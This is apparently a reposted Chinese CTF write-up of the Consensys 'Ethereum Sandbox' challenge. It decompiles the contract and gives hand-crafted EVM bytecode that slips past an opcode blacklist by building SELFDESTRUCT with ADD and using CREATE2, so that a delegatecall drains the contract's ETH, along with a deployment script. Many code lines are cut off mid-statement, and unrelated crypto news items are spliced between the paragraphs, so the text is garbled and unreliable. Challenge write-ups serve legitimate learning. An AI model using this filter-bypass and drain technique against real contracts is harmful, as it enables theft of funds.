ONS:Consensys CTF - " 以太坊沙盒 "

基于samczsun的解析文章学习

分析原文:

本文都是基于https://samczsun

elseif(0x2918435f==function_selector){0x2918435f();}elseif(0x4214352d==function_selector){0x4214352d();}elseif(0x74e3fb3e==function_selector){0x74e3fb3e();}

再看到其的全局变量,一共有两个,分别在slot0和slot1的位置处。可以看到这两个全局变量都是uint256数组。

uint256array_0;//STORAGEuint256_owners;//STORAGE

依次分析函数,找到我们感兴趣的部分,然后再深入调查该函数,看是否能够达到我们的目标——拿到该合约的所有ETH。

阿里拍卖已终止与Conflux树图链的合作,将全部采用新版链进行数字藏品确权:4月13日消息,近日,有消息称阿里拍卖已于4月10日终止与Conflux树图链合作,阿里拍卖将全部采用新版链进行数字藏品确权。树图链工作人员表示,确已暂停合作,系因阿里方不愿与公链合作。此前消息,阿里拍卖称,数字收藏不可涉公链,不可C2C交易。(蓝鲸财经)[2022/4/13 14:21:20]

首先是函数1:0x4214352d

function0x4214352d(uint256varg0,uint256varg1)publicnonPayable{require(msg

//翻译一下functionset_array(uint256_value,uint256_key)public{require(msg

可以看到该函数主要是对array_0进行赋值,在赋值前检查了两项:

ConsenSys完成4.5亿美元融资,淡马锡、微软等参投:3月15日消息,以太坊基础设施开发公司ConsenSys完成4.5亿美元D轮融资,估值达到70亿美元,ParaFiCapital领投,新投资包括淡马锡、软银愿景基金二期、微软、AnthosCapital、SoundVentures和CVentures,ThirdPoint、MarshallWace、TRUE Capital Management和UTAVC等原有投资参投。

ConsenSys表示,该轮融资的收益将转换为ETH,以根据ConsenSys的资金策略重新平衡ETH与美元等价物的比率。据介绍,ConsenSys是为Web3创建基础软件的先驱,其使命是通过使DAO、NFT和DeFi普遍易于使用、访问和构建来释放社区的协作能力。[2022/3/15 13:58:27]

msg

=>functionget_array(uint256_key)publicviewreturns(uint256){require(msg

Phala Network推出去中心化协议Fat Contract:据官方消息,Web3云计算平台Phala Network宣布推出新型智能合约产品Fat Contract,专注于服务Web3.0后端函数级服务,有望于2021年12月上线V0版本。该产品具备了低延迟、异步互操作、高性能计算、拥有完备的开发者生态等特性,可在无需信任的条件下,实现数据保密。元宇宙平台Bit.Country已就Fat Contract未来使用场景与Phala达成深度合作意向。[2021/10/29 6:19:58]

与set_array函数类似

再看函数3:owners

functionowners(uint256varg0)publicnonPayable{require(msg

=>functionowners(uint256_key)publicviewreturns(address){require(msg

ConsenSys联手DamienHirst启动新的NFTArt协议Plam:3月30日消息,以太坊及ConsenSys联合创始人JoeLubin宣布推出Palm,这是一个可替代NFT网络,比目前的Ethereum网络效率高出99%。Palm其他的联合创始人包括Heni出版公司的所有者JoeHague,制作了哈利·波特电影的HeydayFilms创始人DavidHeyman。

据悉,Palm使用“PoA(ProofofAuthority)”系统。Palm的首位创作者是来自英国的知名艺术家达明安·赫斯特(DamienHirst),他将在Palm平台上发布1万件与“探索艺术和货币边界”的NFT相关的纸质作品。[2021/3/30 19:31:00]

最后看函数4:0x2918435f

function0x2918435f(addressvarg0)publicpayable{require(msg

ConsenSys总裁:数字资产已经成为主流:据financemagnates报道,ConsenSys总裁兼企业以太坊联盟创始成员Jeremy Millar表示,数字资产已经成为主流。对于以太坊处理速度很慢的问题,他表示,第一部手机相机一样很糟糕,目前对于以太坊的批评无关紧要,因为现在人们还没有认识到这种技术如何具有颠覆性。[2018/5/29]

v2=1;}require(v0);MEM=MEM(varg0

assert(v5<varg0

v7,v8=varg0

require(v7);}

可以看到函数40x2918435f比较复杂,简单分析函数4中有三层require:

要求调用该函数的msg

v2=1;}require(v0);=>翻译一下:boolpermit=false;uint256i=0;while(i<_owners

i=1;}require(permit);

3.要求作为传入参数的地址addr,逐字节检查该参数地址对应的代码,要求其中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字节。在黄皮书中这几个字节对应的分别是:create,call,callcode,delegatecall,staticcall,selfdestruct.这部分对应的代码比较复杂,我们将对比opcode,逐字翻译```MEM=MEM(varg0

assert(v5<varg0

}

问题分析-2

现在我们需要满足第三个条件,即构造一个合约,该合约对应的runtimecode中不含有0xf0,0xf1,0xf2,0xf4,0xfa,0xff等字节,因此需要我们手动来写合约,然后通过该sandbox的第四个函数来delegatecall该合约,从而清空sandbox中的ETH。

首先明确我们使用create2,其为0xf5,我们可以首先看下黄皮书中关于create2的定义

简单来说是先计算出要创建的合约的地址,然后执行要创建的合约的初始化代码,再将该初始化代码与要创建的合约地址进行关联。

故我们需要一个合约,他的runtimecode中执行一个create2函数,创建一个临时合约,并将上下文环境中的address(this)里的全部ETH都作为赠品赠与该临时合约,该临时合约的初始化代码中应该执行selfdestruct(tx.orgin)函数来将所有的ETH转移给合约部署人。

先用opcode来写runtimecode:

//tx.origin这里的ORIGIN是payload,不应该被执行,故需要改为push10x32//SELFDESTRUCT//构造payload,因为SELFDESTRUCT是0xff,不能被使用,故可以通过ADD来绕道实现push20x32fe//0x32fepush10x01//0x32fe0x01ADD//0x32ffpush10x40//0x32ff0x40mstore//构造payload0x40->0x32ff,push100//Us->salt盐push10x04//Us->length长度4push10x3e//us->offset偏移值->内存中0x400x20-0x2=0x3eADDRESSBALANCE//Us->ETH数量->应该是该address(this)的所有ETHcreate2=>6132fe60010160405260006004603e3031f5

在写该合约的初始化代码,可以用solidity写了,因为是我自己执行来部署该runtimecode

contractHackCTF{constructor()publicpayable{assembly{mstore(0x00,0x6132fe60010160405260006004603e3031f5)return(0x0e,0x12。}

然后部署HackCTF合约,在调用ctf中的第四个函数,将该合约的地址作为参数传进去即可

hacker=HackCTF.deploy({"from":alice})ctf.hack(hacker,{'from':alice})print(alice.balance())

免责声明:作为区块链信息平台,本站所发布文章仅代表作者个人观点,与链闻ChainNews立场无关。文章内的信息、意见等均仅供参考,并非作为或被视为实际投资建议。

本文来源于非小号媒体平台:

登链社区

现已在非小号资讯平台发布105篇作品,

非小号开放平台欢迎币圈作者入驻

入驻指南:

/apply_guide/

本文网址:

/news/10087897.html

免责声明:

1.资讯内容不构成投资建议,投资者应独立决策并自行承担风险

2.本文版权归属原作所有,仅代表作者本人观点,不代表非小号的观点或立场

上一篇:

SendingLabs完成1250万美元种子轮融资,以构建「Web3通信堆栈」

郑重声明: 本文版权归原作者所有, 转载文章仅为传播更多信息之目的, 如作者信息标记有误, 请第一时间联系我们修改或删除, 多谢。

金星链

[0:15ms0-0:746ms